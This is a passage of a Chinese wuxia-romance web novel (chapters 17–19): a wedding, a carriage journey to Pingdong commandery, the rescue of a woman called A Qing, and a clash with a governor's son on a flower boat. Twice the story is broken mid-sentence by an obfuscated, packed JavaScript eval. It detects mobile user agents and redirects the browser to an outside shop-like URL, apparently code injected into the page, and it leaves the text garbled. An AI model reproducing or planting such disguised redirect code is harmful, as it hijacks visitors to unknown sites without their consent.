周洄没看她,自顾自喝着酒:“怎么不一般?” 谢泠蹙起眉:“他俩是你的人,你都看不出来?你也太不关心下属了。” 周洄放下酒杯,瞥了她一眼:“我眼下自身都难保,自然无暇顾及其他,不像小谢女侠,整日都在关心旁人。” 谢泠没接话,忽地想起那个红眼虎头,轻声问道:“那些人,为什么要追杀你啊?” 周洄微微抿着唇,幽幽地看着前方:“与我的另一个名字有关。” 谢泠咽了咽口水,她是真忘了那日他说的那个名字,只得讪讪一笑,没敢接话。 见她难得的沉默,周洄眯起眼看着她:“你该不会忘了吧?” 谢泠只觉得自己真是哪壶不开提哪壶,抬手捂着脸,支支吾吾地说不出一句完整的话。 周洄倾身靠近,抓住她的手腕,将她的手拉了下来,眼神带着冷意: “真忘了?” 谢泠想把手抽回却发现他抓得很紧,只得哭丧个脸: “当时那个情形你又不是不知道,刺客都要到跟前了 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随府门口的大红灯笼早已高高挂起,随便同一群街巷少年挤在门口放鞭炮。 周洄他们一大早就去周府了,谢泠和随便收到的是随小姐的邀约,自然要来随府。 随府后院,随心岚的闺房。 屋内弥漫着一股淡淡的檀香,随心岚坐在铜镜前,身穿着周二公子亲自画样的喜服,长发高高盘起,红唇轻抿,脸上挂着自然的红晕,眉眼流转间尽显少女的娇羞。 “真好看。” 谢泠在一旁看着随心岚,声音也不自觉柔和了些,自己还是头一次这么近距离地看新娘子,能够嫁给自己喜欢的人,真是一件再好不过的事。 随心岚深吸一口气,抬手在脸颊旁扇了扇风:“怎么办,我有些紧张。” 谢泠摇摇头,握住她的手:“紧张什么,该紧张的是周二公子才对。” 随心岚想到周克平日里一副天不怕地不怕的样子,忍不住笑了: “他呀,他肯定一点也不紧张,游刃有余得很!” 与此同时,周府大厅。 “周礼!!我昨日说要别的那只木兰簪花呢,你给我收哪儿去了!” 周克一身大红喜服,急得满厅乱晃,说话也越发没有礼数。 周洄在一旁慢悠悠地拱火:“这新郎官好大的官威啊,都敢直呼兄长名讳了?” 周礼不做辩解,成亲这日就先由着他胡闹,皱起眉,语气有些不耐烦: “你昨夜睡前自己从我这儿取走,锁进你柜中的。” 周克一愣,恍然大悟嘴里说着对对对,转身往外奔去。 周洄在旁拍了拍手,笑着看向周礼:“不愧是周大公子,能屈能伸。” 周礼转过身,眼神流转:“怎么不见小谢女侠?” 周洄收起脸上的笑意,嘴抿成一条线: “你的手别伸得太长了,和月楼既然已经送给了我,就没有再过问的道理。” 周礼笑着说:“我不过是关心自家表弟,偶然听得几句风流佳话罢了。”说着拍了拍他的肩膀: “你没为难郝掌柜吧,他真不是我插的眼线。” 周洄没有理会他看向门外还在乱窜的周克:“马上就要回京了,万事小心。” 周礼随着他的目光望了过去:“你不是把诸微留给我了吗,还担心什么。”说着又有些好奇地转过头: “你居然这么好心,舍得让诸微送我回京,那你怎么办。” 周洄一脸微笑,语气格外诚恳:“自是表哥的安危最为重要。” ...... 大街上早已挤满了人,踮脚的,探头的,还有让自家小孩跨在脖子上的,毕竟随家和周家都是金泉郡有头有脸的人家,大家都想着一睹新娘子的风采。 人群中,有一衣着褴褛的男子,拄着拐杖,颤颤巍巍地拍了拍身旁壮汉的手臂,开口时声音却沙哑得像个老人:“请问,可是那随家小姐和周二公子成亲?” “那还能有谁?”那壮汉扭过头却被眼前之人狰狞的脸吓住。 那人看着年纪不大,一张脸上却布满了纵横交错的刀疤,还有溃烂的痤疮,一双眼睛紧紧闭着,眼窝向内深陷,似是不能视物。 若是有南河巷的人经过,仔细辨认下,大概能够认出,他正是那两次落榜的苦秀才,游南星。 17.三人同行 天光乍亮,吉时已到。 迎亲队伍宛如一条红龙在金泉郡主街上穿行,队伍最前头,一匹高大骏马身披锦绣,头戴宝石,在阳光下熠熠生辉,马背上坐着的正是今日最意气风发的新郎官,周克。 虽说按照礼制应当兄长先婚,可周礼向来一副清心寡欲的模样,没出家都算是他们周家祖上烧高香了。 周克哪愿意等他,软磨硬泡地说动父亲去随府提亲,几经波折,终是得偿所愿。 此刻队伍行至随府门口,周克才忽觉自己手心都是汗。 “新娘子出门喽!” 随便在门口高喊一声,谢泠手提花篮,随手抓了一把向空中扬起。 花瓣簌簌落下,漫天花雨中,盖着喜帕的随心岚在喜娘的搀扶下,迈出门槛,坐入花轿。 周克坐在马上不知怎么想到了两人初次相遇的场景。 放炮,撒花,大红灯笼开路,走过化凤桥,一路喧闹中,终于抵达周府门口。 谢泠跟在队伍中一眼便望见站在周府门口的周洄与周礼,抬起手冲他们挥了挥。 周洄的目光自队伍在街角出现时便落在那少女身上,那一瞬间他竟有些恍惚,熙熙攘攘的人群,满目的喜红好似都已淡去,只剩她一人朝他走来。 “是小谢女侠。” 周礼的声音打断了他的思绪,周洄侧目瞥了他一眼,没说话。 周克翻身下马,走到轿旁俯身向前,伸出手掀开了轿帘。 看到随心岚后嘴角一勾说了句: “好姐姐,帮个忙,有人在追我。” 喜帕之下,随心岚也抿嘴一笑,将手稳稳放在他的掌心。 他牵着她出了花轿,却没有急着进门,反而转身朝南,高喊了一句: “我成亲了!” 声音洪亮,穿过长街,惊起屋檐两三只白鸽。 周洄与周礼闻声,几乎同时抬头皆向南方看去,远处层峦叠嶂,云海缭绕,那个方向再往南便是京城。 周克收回视线,握紧了随心岚的手,踏进了满堂喜色中。 ...... 宴席上,周礼邀请谢泠和随便坐到主桌,谢泠有些惶恐,但是也不好拒绝,刚坐下,周洄便拉开她身旁的椅子就要落座,周礼伸手拦住了他: “你一个远方表亲,做什么主桌?” 见周洄脸色一僵,谢泠连忙解围:“要不我们三个去旁边坐?他可能怕生。” 其实怕生的是自己,坐主桌已经很冒昧了,两边都是熟人自己还自在些。 周洄瞬间笑意盈盈,抬眼看向周礼:“那就请周大公子再给我们安排个桌吧。” 最后三个人还是坐到了主桌,周洄心情很好,如果自己另一边坐的不是周礼就更好了。 随便这几日在和月楼吃得太饱,如今见到这些菜肴只觉得索然无味,不过如此,便悄悄问谢泠他们何时走。 谢泠闻言微微倾身侧头又问周洄。 周洄稍稍低头,在她耳边低声答:“明日如何?” “这么急?”谢泠瞪大眼睛,不过想了想确实耽误了不少时日,便点头:“也行。” 周洄看着她俯身在自己身旁摇头晃脑的模样,忍不住伸手摸了摸她的马尾: “你还想多待几天?” 谢泠摇摇头刚想开口,一旁的周礼也倾身探过来:“小谢女侠要走了吗?” 谢泠点点头,轻声说:“后会有期呀,周礼。” 话音刚落,一只手忽然抵住她的肩头,将她推回原位:“坐好。” 周礼装作没看见,仍隔着周洄对着谢泠笑着说:“若是小谢女侠有机会去京城,定要来找我。” 谢泠眼前一亮,看向周洄,周洄瞥了她一眼淡淡开口: “不顺路,周大公子奔波不得,只能走水路。” 还没问能不能同路就被堵回来了,啧,大少爷说啥就是啥呗。 谢泠只得点点头,咧着嘴说了些客套话:“如今我在京城,也算有周大公子这位响当当的朋友了。” 周礼眉头轻挑回道:“那我在江湖,也是有位小谢女侠这般飒爽的朋友了。” 这一番话说得谢泠心里美滋滋的,嘴角都要翘到眼尾,抬眼却和周洄四目相对。 他笑了笑:“要不咱俩换个位置?” 谢泠连忙摇头,规规矩矩向后坐直,专心吃席。 ...... 第二日一大早,谢泠便起身收拾行囊,去敲随便房门时发现没人,走到大堂,才见他正趴在柜台边,看郝掌柜执笔写字。 “修竹哥,我很好,你还好吗?”随便手肘支在案上一字一句地说着。 谢泠走过去拍了拍他的肩膀:“做什么呢?给祝公子写信啊。” 随便点点头:“出来这么久了,自然要给他们报个平安的,不过大壮他们不识字,修竹哥说可以寄到祝府。” 谢泠整了整包袱的位置:“应该的,有铜板寄信吗?” 一旁的郝掌柜笑着抬头:“谢姑娘哪里的话,哪能收你们的钱。” 谢泠蹙眉觉得这样不太好,随便连忙解释:“我可没白让郝掌柜替我写信,早上我可是把大堂桌子都擦了一遍呢。” “是啊,随便是把那些杂事都做了才来求我帮他写信的。” 随便扬起下巴,一脸骄傲地看着谢泠。 谢泠顺手揉了揉他的头:“越来越有我的风范了。” 随便嘴角下撇,不想搭话,转过头继续口述。 忽然又想到些什么转过来跟谢泠说:“有钱哥哥租的马车就在门外,你先上去吧。” 谢泠只觉得古怪:“怎么,想在信里说我坏话?” 随便挠挠头:“我哪敢啊,快去吧,我寄完信就过去。” 见谢泠往外走去,他赶紧向前倾身凑近郝掌柜:“再加一句,桃木剑的情我会想办法还的,”说着眼珠转了转:“实在是江湖险恶,不怪我不努力啊。” 郝掌柜虽觉得这些话有些没头没脑,但还是写了上去,最后装进信封,盖上了红泥:“金泉郡离清水郡不远,用不了三天就到了。” 随便点点头:“多谢郝掌柜,那我走了。” 走到门槛前又回头挥挥手:“下次再来,记得给我留只卤鹅!” 郝掌柜笑着挥手作别。 晨光熹微,随便跳着跑向门外早已等候多时的马车。 ...... 马车渐渐驶出金泉郡。 周洄将一个绣工精致的香囊递给谢泠:“随姑娘托我转交的,周府这几日忙碌,她抽不开身来送你。” 谢泠有些意外,接过香囊仔细看了看,收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108762|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入包袱里:“随姑娘人也太好了。” 随便连忙凑上来:“没我的份吗?” 谢泠抬手拍了他一巴掌:“有你什么事,你还骂过人家呢。” 随便委屈地坐回原位:“罢了,罢了,那就没有吧。” 谢泠看向周洄:“我们接下来去哪儿?” 周洄随手掀开车帘,望着向后退的群山:“去平东郡。” 平东郡?那不是游南星考举的地方吗,江州的省城,谢泠忽然想到什么又开口问: “说来,那游南星到底如何了?我昨天想问周礼,又不敢开口。” 周洄放下车帘,瞥了她一眼:“他不也是你朋友吗,怎么不敢问他,倒敢问我。” 谢泠撇撇嘴:“自然是跟你更熟一点。” 这话说得很中听,周洄心情又好了起来:“只知道人还活着,至于怎么活着就不清楚了,反正不会很好过。” 谢泠闻言悄悄坐直了一些,虽然游南星确实不是个东西,但这周大公子也没有表面看起来那么温柔啊。 ...... 马车在官道上行驶了三四天,入夜便在附近的驿站休息。 路途漫长,又整日困在马车上,只能吃些干粮,随便又开始后悔那日宴席上没有多吃几口,此刻正趴在窗边嘟囔:“这平东郡也太远了。” 转过头见周洄正低头看书,谢泠在一旁闭目养神,没一个人理他,更觉得无趣,便从包袱里掏出祝修竹给的地图,摊在腿上,细细研究起来。 他们已经经过了三个驿站,算来再有一天就能到平东郡了。 这平东郡旁边同样批了一行小字:花船之乡。 他抬头问周洄:“什么是花船啊。” 周洄合上书,看了一眼还在熟睡的谢泠,轻声道:“就是喝酒听曲儿的地方。” 见随便眼里带着好奇便多说了几句。 平东郡,位于江州最南部。 一条贯通大朔王朝南北的淮河穿城而过,河面上常年停泊着连绵不断的画舫,夜晚的淮河灯火相连,丝竹声顺水飘荡,不绝于耳。 此地因是江州秋闱之地,每三年都会汇聚各地考生,放榜后,这花船就成了不少失意书生的好去处。 久而久之,这风月生意竟比当地其他行业还要兴盛,成了平东郡的一块招牌。 许多文人墨客驻足停留也会留下一些诗句,花船之乡便因此声名远播。 “那,船上的姑娘岂不是都很有钱?” 随便开始思量自己现在开始学乐器是不是有些晚了。 周洄摇摇头:“船上的歌女舞姬大都出身贱籍,银子怕是都进了船主的钱袋。” 听到贱籍,随便想到了大壮他们,眼神暗了暗,低声道:“真可怜。” 忽然,马车一个猛刹,马匹惊叫声中,整个车厢剧烈晃动了一下。 谢泠差点没摔到地上,还好周洄伸手将她扶稳,她睁眼时,手已经按住剑柄,上前掀起车帘,询问车夫: “出什么事了?” 那车夫面色苍白,一脸惊恐,颤抖着向前伸出手指,嘴唇哆嗦道: “死...死人...树上!” 谢泠顺着他所指的方向望去,前方小道旁的枯树上,赫然挂着一道纤细的身影, 白衣沾血,随风晃动。 18.失忆女子 谢泠眼睛一眯,察觉那女子胸口尚有起伏,伸手射出一枚飞镖,绳子应声而断。 周洄此时也从马车内探出身,还未看清女子面容,目光先落在了那截仍在晃荡的绳索上。 只那一眼他便有些呼吸不畅,手指扣紧门框,身体不受控制地开始轻颤,一股强烈的恶心感从腹部翻涌上来,却什么也吐不出。 他只得深吸一口气,用力闭上眼,心中翻涌的气息却更盛。 谢泠并未察觉到他的异样,脚尖一点,飞身过去,稳稳接住下落的白衣。 那女子被谢泠揽在怀里,身子软塌塌的,面色惨白,并无半分血色,双眼紧闭不省人事,脖颈间有一道浅红勒痕,谢泠伸手探了鼻息,虽然极弱,却尚有一丝活气。 “怕是刚吊上去没多久,你可有什么药?” 谢泠回头看向周洄,却见他仍僵在马车门边,额头竟冒出一层冷汗。 不等谢泠再叫,他便转身退回车内,随便拿着水囊跳下车来。 一旁的车夫哪里见过这阵仗,那吊着的女子已经够吓人了,方才这位公子陡然变脸的模样,更是如同厉鬼一般,他暗自打定主意:这趟只送到平东郡,给多少银子也不接了。 谢泠来不及细想,接过随便递来的水囊,掰开那女子的嘴将水灌了进去。 周洄似是缓了过来从马车中出来后,将一颗丹药递到谢泠面前,一言未发。 谢泠瞥了他一眼,二话没说接过塞到女子嘴中。 大约等了半柱香功夫,女子才缓缓睁开眼,第一个映入她眼帘的是谢泠。 “姑娘,姑娘,能听见我说话吗?” 那女子似是还有些神志不清:“我死了吗?” “没死,没死!”随便顺势蹲下:“你被我们谢女侠救下来了!” 这女子挣扎着想要起身,谢泠忙搀扶着她手臂,待她站稳才看到谢泠身后正盯着自己的周洄。 眼神扫过周洄,那女子不知道哪来的力气,忽然扑了过去,直直叫了一声: “夫君!” 周洄侧身一躲,那女子扑了个空直接摔倒在地,她也不恼,趴在地上转过身,仰着头,一副我见犹怜的模样: “夫君为何不认我?” 谢泠和随便大眼瞪小眼,周洄看都没看地上的人,将头扭到一边。 随便见状上前: “姐姐,你这招我用过了,没用的,这位哥哥是有钱,可他又不是傻子。” 谢泠见周洄不动声色地挪到了自己身后,便也上前温声道: “你有什么难处,可以同我们讲,不过这位公子尚未娶妻,断不会是你夫君。” 那女子泪眼婆娑,目光在那三人中间转了一圈,忽然开始抽泣: “......之前的事我好像都不记得了。” 她伸手指向周洄:“但他肯定是我夫君,方才第一眼看到就觉得格外亲切,定是我夫君!” “有何凭证?”谢泠只怕此人又和游南星一般是个心思不纯之人。 那女子低下头有些嘟囔:“都说不记得了呀。” 一直一言不发的周洄此时走上前垂眸看她: “你是瞧着我这穿着是这一行人中最有钱的吧。” 话音刚落,谢泠和随便不约而同地低头看了看自己,又抬头互相望了一眼,没觉得哪里不一样啊,随即两人齐刷刷瞪向周洄。 那女子趁机一把扑上前抱住周洄的腿就开始哭: “夫君,你真的不认识我了吗?莫不是变了心,我不介意的......” 周洄脸色铁青,嘴角一抿,想要将脚抽出来却被抱得更紧,谢泠与随便在一旁瞧着,觉得有趣极了。 周洄猛然侧头看向谢泠:“你管不管!” 谢泠连忙站直:“管!当然要管!”雇主有难,她自然得迎难而上。 她伸手拉开那女子:“姑娘,你肯定认错人了。”说着她凑近些,低下声音: “我们公子他...不喜女色的。” 那女子看了一眼谢泠,委屈巴巴地说:“莫非姑娘也喜欢我夫君?” 谢泠手一松,站起来转身对着周洄笑了笑:“人既然没事,咱们就走吧。” 周洄伸手理了理被女子弄乱的衣摆,大步一跨就上了马车,随便也连忙爬了上去。 见谢泠也要走,那女子又拽住她的衣袖:“你们忍心留我一个女子在这荒郊野外吗?” 谢泠手按上剑柄:“我的剑,可从不救小人。”说着俯身逼近:“所以你最好实话实说。” 那女子垂下眼眸:“我真不记得了,只恍惚觉得脑后疼得厉害,像是被人从后面重重打过。” 谢泠歪头看了一眼她的后脑勺,的确鼓了个大包,她语气缓和下来: “那你怎么说我家公子是你夫君?” 女子摇摇头:“只是一股熟悉感而已,我总觉得,若我真有夫君,就该是他那般模样。” 见谢泠又要走她连忙说:“我只求你们带我到平东郡,我记得我是那里的人,说不定回到那儿,我就能想起些什么。” 谢泠看着眼前女子,方才还哭得稀里哗啦,这会又如此平静,说是失忆,说起话来条理清楚,有条不紊,心中不由得暗叹一口气,怎么总是救一些怪人。 正犹豫间,那女子松开了谢泠的手,双手扶地,端端正正地磕了三个头,再抬头时,眼中只剩恳求: “求姑娘带我一程” 谢泠望着那双祈求的眼神,沉默片刻,叹了一口气伸出手:“上车吧。” ...... 马车因为多了一个人显得有些拥挤,那女子上车便要挨着周洄坐下。 周洄看了谢泠一眼,谢泠瞬间会意,挤了过去坐到周洄旁边笑眯眯地说: “我家公子怕生,姑娘还是和随便坐一侧吧。” 随便自上次之后对待生人都多留了个心眼,再也不敢妄下定论,也赶紧挪了个位置坐到谢泠旁,三个人就这么挤在一侧。 谢泠夹在中间,一句话不愿多说。 周洄倒是好心还往角落挪了挪,给她让了些位置。 那女子看着这三人行云流水的动作,面不改色地坐到了对面。 谢泠想起刚才周洄的模样,忍不住轻声问了一句: “方才是被吓到了?” 周洄摇头:“无妨。” 平日里总是一副气定神闲的模样,怎么见了个上吊的人就如此大的反应,莫不是怕鬼? 谢泠沉吟片刻又低声补了一句:“我既然接了护送你的活,定会护你周全,你别担心,一切有我,就是真有妖魔鬼怪,我也能将他们斩于剑下。” 周洄垂眸望着她,分明比自己还要小上几岁,却总是大言不惭地说些豪言壮语。 马车轻晃,她的身体也随之摇摇晃晃,两人的肩头便时不时轻轻相触,隔着衣料,也能感受到彼此的温度。 谢泠眯了眯眼,自己好不容易表明态度,怎么连个表示都没有,又对着他眨了眨眼,好歹说一句多谢吧。 “好。” 这个字轻柔地如同一片落叶跌到了谢泠心尖上,她只觉得心头一痒,又挠不着,只得连忙坐直,这才发觉对面女子正在看着他们。 她轻咳一声,开口问道: “你还记得自己叫什么吗?” 女子点点头,嗓音轻软:“阿青。” 周洄忽然慢悠悠开口:“阿青姑娘倒是厉害,忘了因何流落此地,却独独记得姓名。”他转头看着坐在自己旁边的谢泠:“还记得自己来自平东郡。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车在客栈前停下,阿青那一身沾血的白衣自是不能再穿,谢泠便从行囊中取出了自己的一身干净衣裳。 众人皆下车等候,片刻后,车帘被一只白皙的手轻轻掀起。 阿青从车中探身,露出一张清秀的脸,圆润有神的杏眼,笑起来眉眼弯弯,唇边还有一对浅浅的梨涡,虽是素衣白裳却显得灵气十足。 她轻巧地跳下马车,走到周洄面前行了个礼:“多谢。” 周洄往后一撤,退到谢泠旁边:“救你的是她,谢我做什么?” 谢泠生怕阿青又当街哭着喊什么夫君,忙上前说道: “阿青姑娘,既已到平东郡,便在此别过吧。” 阿青侧过身同样向谢泠行了个礼,这次倒是郑重许多。 她双手抱拳,深深鞠了一躬:“多谢谢姑娘,我这就离开。” 说完转身便走,走了几步,她忽然伸手一摸,这衣裳内袋里竟有一些碎银,方才换衣时并未发觉,她脚步一顿,眼眶微热,蓦地回过头。 那三人还站在原地望着她。 阿青举起手,用力朝他们挥了挥,高声喊道: “谢姑娘,平东郡的花船天下闻名,你定要去看看呀!” 说完头也不回地跑进一条窄巷,似是对这里的地形极为熟悉。 随便抬头看着谢泠:“你觉得她是好人吗?” 谢泠摇摇头:“不清楚,我只是觉得......” 随便睁大眼睛等着她的下文,谢泠低头看着他,一脸严肃: “我们该吃饭了。” 周洄已率先走了进去:“走吧,吃完我们就去那花船上瞧瞧。” 19.花船迷踪 “听说了吗?溪湖巷挖出的那具女尸,已经有人认罪了。” 隔壁桌的闲聊声传过来时,谢泠正咬着半个馒头,耳朵立马竖了起来。 她下意识看了眼旁边二人,周洄不动声色地端起了茶杯,随便虽然还在吃,动作明显都慢了些。 “早传开了!这不是前几天的事吗?据说还是个书生?真是人不可貌相啊。” “害,要说这年头杀个人有什么稀奇的,只怪那书生手脚不干净。” 谢泠蹙起眉,嘴角一抿。 “你刚从外地回来不清楚,这是老天爷开眼,那晚刚好下了场暴雨,那女尸埋得浅,一冲就现了形。” “哎呦,那不得泡得跟馒头一样,这发现尸体的人也真是够倒霉的!” “罢了,罢了跟咱们有什么关系,一会去花船上再喝几壶!” 随便刚把馒头塞嘴里,又吐了出来,低头嘟囔道:“饭桌上说这种话,还让不让人吃饭了。” 谢泠有些在意,抬手啃着指关节,一盘清炒竹笋推到了她面前,抬眼对上周洄温和的目光: “先吃饭。” ...... 淮河水面平静无波,两岸灯影垂落,大大小小的花船首尾相接,绵延数里,船间丝竹声、琴音错杂,混着歌声笑语,嘈嘈切切显得格外热闹。 谢泠站在岸边,双手放在围栏上,深吸了一口气:“好漂亮啊。” 随便的目光早就被岸上卖泥人、灯笼的小摊吸引,周洄从怀里掏出些碎银递了过去,他便一溜烟跑了。 谢泠只得在他身后喊:“别跑太远!” 忽闻远处几声闷响。 谢泠抬眼望去,只见夜色中金红色的烟火率先炸开,又如同被吹落的星子般散落下来。 她眼神一亮,指尖雀跃地指向夜空,转过身时脸上满是笑意:“快看,烟花!” 少女身后的马尾随着动作轻轻摇晃,嘴边的梨涡浅浅,眼中盛满了欢喜。 周洄垂眸望着她,唇角弯弯,并未说话。 谢泠见他反应平平便开口:“忘了你是大户人家,想必这些早都看腻了。” 说着便转身,沿着河岸慢慢往前走。 周洄望着她的背影,在这宽阔的河岸与层叠的画舫之间,那道身影显得格外纤细。 这平东郡少时也来过几次,当时谢危总是拉着周克去花船上看姑娘,他和周礼便在岸上等着。 景色依旧,人却已散。 不远处的谢泠忽然停下,捂着嘴朝他招手,见他看过来又悄悄抬手指了指不远处。 周洄顺着看了过去,树下一对年轻男女正依偎着,情意浓浓。 见谢泠冲他挤眉弄眼,方才的一些感伤被冲散开,化作唇边的笑意。 那女子似是发觉有人在看她,忙羞得躲进男子怀中,男子抬眼瞪向谢泠。 谢泠连忙小跑过来,拽着周洄的胳膊就往另一边走:“快走,快走,要被打了。” 人间皆旧色,眉眼即春光。 ...... 见随便许久还未回来,谢泠有些担心,便与周洄沿着小摊一路寻找。 走到桥边远远看见随便正站在一个小摊旁,她快步走过去刚要训斥,却瞥见他脸上赫然印着一个巴掌印。 她顿时一阵怒火,扶住随便肩膀,蹲下身问:“出什么事了?谁打的?” 随便本来没什么表情,看见谢泠后,嘴巴一抿:“我...我...” 一旁的摊主连忙插话:“你是他家人?这事,” “你先别说话。”谢泠冷眼看过去:“我要听他自己讲。” 那摊主似是被她的眼神吓到,讪讪退到一旁,不再说话。 随便咬了咬下嘴唇:“方才我正蹲在这儿看摊上的小玩意儿,不知道谁从背后踢了我一脚,我就摔倒了,然后就压坏了摊主好几样东西。” 谢泠盯着他:“周洄不是给你银子了?” 随便连忙点头:“我赔了的。” 谢泠一听瞪向一旁的摊主。 摊主连忙摆手:“不是,不是我打的呀。” 随便摇摇头拉住谢泠的衣角:“打我的是踢我的那个人。方才我被他踢到,心里气不过,便追上去找他理论,谁知他却说是我挡路,我没忍住,就拿桃木剑教训了他,结果他们人太多,我就被抓住,挨了一巴掌,是摊主过来帮我求情,他们才放了我。” 谢泠伸手碰了碰他有些红的脸颊:“疼吗?” 随便摇摇头,又点点头,没说话。 周洄上前一步问那摊主:“您可知道那些是什么人?” 谢泠也起身,对着摊主抱拳,带着歉意笑了笑:“对不住啊,方才心急。” 那摊主这才直起腰,抖了抖衣袖,咳嗽了一声: “我也是见这孩子认错爽快,才帮着说了两句,那帮人都是贺府养的恶奴,平日里嚣张惯了,自然不把这小娃娃放在眼里。” 周洄眼睛一眯:“江州牧贺恺之吗?” “这平东郡哪还有第二个贺府啊。”摊主左右看了看,摆了摆手:“钱也赔了,你们就别在我摊子前围着了,我怕那伙人又回来找麻烦,唉,今晚还是提早收摊好了。” 谢泠从怀里又拿出些碎银,塞给随便,朝他使了个眼色。 随便接过银子双手递到摊主面前:“多谢大叔方才救我。” 那摊主笑嘻嘻地接过银子放到怀里:“哪里的话,那群人打着贺大公子的名号在此为非作歹好久了,我早就看不惯了。” ...... 回去的路上,谢泠一言不发,随便也不敢说话。 周洄快走两步,挡在了谢泠面前,低头看着她:“很生气?想去贺府讨个说法?” 谢泠停下脚步,抬眼望他:“你不也说了,那可是江州牧的人,我就算再生气也没办法直接打上门去。” 她又想起客栈那些人的谈话,声音低了下去:“只是觉得,这普通人的命也太轻贱了些。” 周洄有些意外:“我还以为你会气冲冲地杀到贺府,将那些人都斩于剑下呢。” 谢泠只觉得他是在挖苦自己:“当初对游南星我都没敢下死手,说到底还是怕惹麻烦,出门在外,多一事不如少一事,我是很生气,可又怕自己一时冲动,反倒闯出更大的祸。” 说着她揉了揉脸,皱着个眉头望着周洄:“我这样是不是不太像个女侠?” 周洄摸了摸她的马尾:“我倒是觉得,更像了。” 他侧过头,看向一旁的随便:“你呢,会不会觉得委屈?” 随便立刻挺胸上前:“当然不会!” 他摸了摸自己发红的脸颊,眼睛却亮了起来,语气雀跃: “而且刚才我可厉害了,只用桃木剑就打得那个人落花流水,哼,要不是他们人多,指不定谁挨打呢。” 谢泠看了一眼边说边比划着架势的随便,抬手想打,落下去的时候却收了力,揉了揉他的脑袋,心底的一些郁闷也随之散开,看向周洄:“那咱们去花船上看看?” 周洄侧身让开一步,手臂向前一伸,眼底带着笑意:“小谢女侠,请。” 此刻这声女侠让谢泠很是受用,她立马翘起嘴角,眉眼弯弯,脚步轻快地从周洄身侧走过,马尾也跟着一晃。 见她过去,周洄朝还在原地的随便扬了扬下巴。 随便立刻会意,小跑两步,跟了上去。 “这次我用了你教我的剑法,有点剑客的感觉了。” “剑客可不会被人扇巴掌。” “你这人真扫兴。” 不远处花船上的歌声飘了过来,月光洒在青石路上,三个人的影子相互交叠,不断拉长。 ...... 踏上花船,谢泠才发现,这船远比岸上瞧着更为宽阔,整座船宛如一座阁楼,分为三层。 周洄在她身侧,介绍道:“这最上面一层是雅室,许多文人墨客会在上面饮酒题诗,外面设有观景台,可以眺望淮河夜景,中间这层被称为莲花厅,是歌女舞姬表演之地,设有许多散桌,最为热闹。这最下面一层,” 他话音顿了顿:“是鸳鸯房。” 随便抬头追问:“鸳鸯房是做什么用的?” 周洄侧过头看向一边:“不清楚,我没去过。” 谢泠虽没见过但是也听过一些,忍不住凑过去打趣道:“想不到周大公子阅历不浅啊。” 周洄皱眉,伸手将她推远了些:“都是周克同我讲的。”说罢不等她再问,便自个儿朝里走去。 这莲花厅四周皆是镂空木窗,穿堂风吹过,带走不少酒气、胭脂气。 登船虽不收费,但进入这莲花厅每人需得五文钱入场费。 室内中央有一座木台,铺着红毯,歌女舞姬在此献艺,台子周围摆放着大大小小的案台。 临窗的小桌需得花费十两银子酒水方可入座,靠近舞台,桌面更宽的大桌则需要五十两,而那环绕舞台最近的那排座位,几乎伸手就能碰到台上轻纱飘动的身影,是专为贵客预留的闻香席。 交了钱后,一位打扮得花枝招展的女子迎了上来,打量了他们三人,捂着嘴笑眯眯地开口:“哎呦,头一次见带着女眷孩子来听曲儿的,几位可是要做大桌?” 谢泠和随便眼神一亮正要点头,周洄伸手将银子放在女子手中淡淡地说了一句:“靠窗小桌即可。”说完便自顾自向窗边走去。 那女子望着他的背影,只觉得自己看走了眼,模样打扮都如此俊俏,没想到是个穷鬼,又看向正垂头丧气的那二人,怪不得丫鬟书童也穿得如此磕 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谢泠歪头看着那男人:“怎么,强抢民女啊。” 随便只觉得谢泠此刻很有侠客风范,连忙挺起胸脯,双手抱臂,扬起下巴,站在她身侧, 一脸正气地看着那男人。 “谢姑娘!”阿青双手扶地,起身飞快地躲在她身后,脸上的笑意在看到一旁缓步走来的周洄后又僵住了。 两人四目相对。 周洄眉头一皱,不动声色地退到一旁。 阿青冲他做了个鬼脸,听见谢泠唤她名字后忙转头咧嘴笑。 “怎么回事?”谢泠话音刚落,那男人身后便涌来了一群人。 为首的是个锦衣公子,手持一柄玉竹折扇,模样倒算周正,只是眉眼间有些纨绔子弟的邪气。 “那些打我的人和他们穿的衣服一样!”随便踮脚在谢泠耳边急声说道。 谢泠迟疑间,那男人从剑尖下躲了过去,跑到那锦衣公子身旁: “少,少爷,那贱人还有帮手!” 那公子上下打量了一下谢泠,向前一步,用扇子将谢泠的剑尖托起,声音慵懒: “姑娘这是何意?” 谢泠收剑入鞘,侧头瞥了一眼阿青:“路见不平。” 那公子轻笑一声,将扇面展开:“你可以问问你身后的这个小丫头,分明是她动手袭击我在先,我不过是派人请她回去说个清楚。” 谢泠侧头:“他说的是真的?” 阿青连忙摇头:“你怎么能信他的话,他是贺府的大少爷贺元朗,在这平东郡名声是出了名的坏!” 谢泠挑眉:“你不是失忆了吗?” 阿青看向一边,抿嘴不说话。 贺元朗却听出几分蹊跷,眯着眼仔细端详阿青:“我说怎么瞧着眼熟。” 说着看向谢泠微微一笑:“姑娘,我无意与你发生冲突,只是这人实在是与我有些旧怨,我必须得带回去。” 谢泠本就因他是贺府的人心生反感,这话一出更是让她难以忍受:“有怨你去报官,当街抓人算什么道理。” 那贺元朗也收起了客气,轻哼了一声,举着扇子在掌心敲了敲: “我见你拿着剑敬你三分,你还真当自己是个人物了。” 周洄在一旁静静盯着贺元朗,只觉得他的脸色有些怪异。 谢泠上前一步讥讽道:“怪不得你手下那般嚣张,原来主子就是个不讲理的。” 